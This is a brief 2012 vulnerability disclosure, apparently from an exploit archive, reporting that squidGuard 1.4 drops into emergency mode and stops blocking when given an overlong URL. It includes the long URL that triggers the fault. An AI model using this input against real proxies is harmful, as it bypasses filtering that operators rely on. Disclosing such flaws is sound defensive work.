exploit the possibilities

squidGuard 1.4 Denial Of Service

squidGuard 1.4 Denial Of Service
Posted Aug 29, 2012
Authored by Stefan Bauer

squidGuard version 1.4 may suffer from a denial of service vulnerability when fed a long URL.

tags | exploit, denial of service
MD5 | 158763f39298913d91bb5c4e83c5ed68

squidGuard 1.4 Denial Of Service

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We're using squidGuard 1.4 and discovered a possible denial of service. When a user is accessing a very long URL, a internal buffer is too small and squidguard is entering emergency mode. In this mode, no blocking is done anymore.

The URL for reference:

http://www.country108.com/_playlist/playlist.xml?parm=0.25732559903520535?parm=0.8294737075929047?parm=0.24014121683296297?parm=0.9460915929498649?parm=0.3974535575371201?parm=0.797955814252201?parm=0.5941665450866088?parm=0.6912115486553755?parm=0.05073890069479603?parm=0.8963961504041598?parm=0.43654825009701137?parm=0.8214705010294044?parm=0.5274569610084057?parm=0.0007274525371858687?parm=0.14506218122553893?parm=0.49125362580323495?parm=0.6941617625067622?parm=0.7331781580530978?parm=0.6610984755864507?parm=0.8694141102186517?parm=0.1290539846224843?parm=0.45549314193532453?parm=0.860371532284247?parm=0.019043415282676057?parm=0.1470360022957906?parm=0.9782236742775064?parm=0.24810547207701195?parm=0.5038849472610185?parm=0.32986064536502857?parm=0.3443933666849265?parm=0.8665425396928025?parm=0.8360460125669642?parm=0.11572512117125244?pa
rm=0.03510514000002962?parm=0.6746931283264278?parm=0.4470450325834908?parm=0.07785764204006762?parm=0.3401613372413357?parm=0.6885655479211563?parm=0.3378645245893567?parm=0.7530888030812639?parm=0.4385274529715908?parm=0.8546846734552437?parm=0.943562659437982?parm=0.2690958544139864?parm=0.9414778696948228?parm=0.9705285143976852?parm=0.03412914860633709?parm=0.5629524868314979?parm=0.26551896178241496?parm=0.9625820765908634?parm=0.6656541817421336?parm=0.6838127452100081?parm=0.2226939131764789?parm=0.48602838974004015?parm=0.2945117583623632?parm=0.529002994268698?parm=0.6426306330058106?parm=0.11966694941771472?parm=0.1721417044468887?parm=3D0.3754902481844036?parm=0.6737018509787533?parm=0.39546949087944683?parm=0.0491472806762866?parm=0.7376419322110352?parm=0.6499250853081242?parm=0.5242544168272583?parm=0.034808393547313354?parm
=0.4073861597524363?parm=0.05573713697624749?parm=0.9572804384429524?parm=0.1817429853821192?parm=0.014327680461904801?parm=0.17253608539764576?parm=0.8581309328485324?parm=0.9953321132994779?parm=0.08106975895631952?parm=0.4488913260181805?parm=0.1500808162508912?parm=0.6036570089972113?parm=0.3429374525213048?parm=0.5005802517999419?parm=0.051207514503536666?parm=0.766079189716261?parm=0.05149314425197127?parm=0.9171176947996869?parm=0.9128287890179406?parm=0.2472275256231583?parm=0.08768066601448787?parm=0.7282021350271008?parm=0.7364195421315026?parm=0.33803910476243226?parm=0.9731293024794875?parm=0.4665109365664606?parm=0.9599808584667793?parm=0.4666333564612767?parm=0.2870947294724183?parm=0.2525336676197266?parm=0.9769042933525486?parm=0.9091816595515594?parm=0.5717086294621162?parm=0.22264183558725903?parm=0.3786950609979425?par
m=0.5845679157357075?parm=0.5396548326610127?parm=0.9233495028064524?parm=0.0974877689966982?parm=0.7965176866365765?parm=0.2860844780143996?parm=0.0027286208156194203?parm=0.4651091074998567?parm=0.5730070981414728?parm=0.2505283628059568?parm=0.6441995109312953?parm=0.7025116726949593?parm=0.9451446634320427?parm=0.8747596688711037?parm=0.7084257035096256?parm=0.5067240755386497?parm=0.10635286404950961?parm=0.2590060181978189?parm=0.4757993339954312?parm=0.2120319757985698?parm=0.8975584037174784?parm=0.631604652076309?parm=0.2150116248909476?parm=0.46792574310758606?parm=0.4752334181586533?parm=0.11614011486437892?parm=0.5424607368502887?parm=3D0.49842045831432846?parm=0.3365122016115487?parm=0.10529902337628827?parm=0.6827568962602503?parm=0.7856740326146926?parm=0.09924147705627229?parm=0.5321218821234125?parm=0.29234258833331983?par
m=0.45540015833322023?parm=0.5647044038008046?parm=0.46702725451889426?parm=0.4662535800019342?parm=0.7323923339134595?parm=0.6268917225432019?parm=0.7629286375836214?parm=0.9123040395199864?parm=0.5815462771024456?parm=0.5345761196888793?parm=0.9209602153432136?parm=0.04748725664240383?parm=0.05308779345336989?parm=0.8610787797224873?parm=0.9557722872296609?parm=0.9481407994385496?parm=0.9102836584825768?parm=0.2914997397760458?parm=0.8020533987162777?parm=0.6684330848337933?parm=0.8337337199569539?parm=0.9983168241581639?parm=0.7228803317315997?parm=0.43098615737758783?parm=0.8684119503556965?parm=0.9436400538914193?parm=0.25569358266277475?parm3D0.58895697

Regards

Stefan Bauer
--
cubewerk ------------------------------ stefan.bauer@cubewerk.de
IT-Beratung + Planung ------------------- Tel +49 8621 996 02 37
Herzog-Otto-Strasse 32 ------------------ Fax +49 3212 115 00 47
83308 Trostberg -------------------------------- www.cubewerk.de

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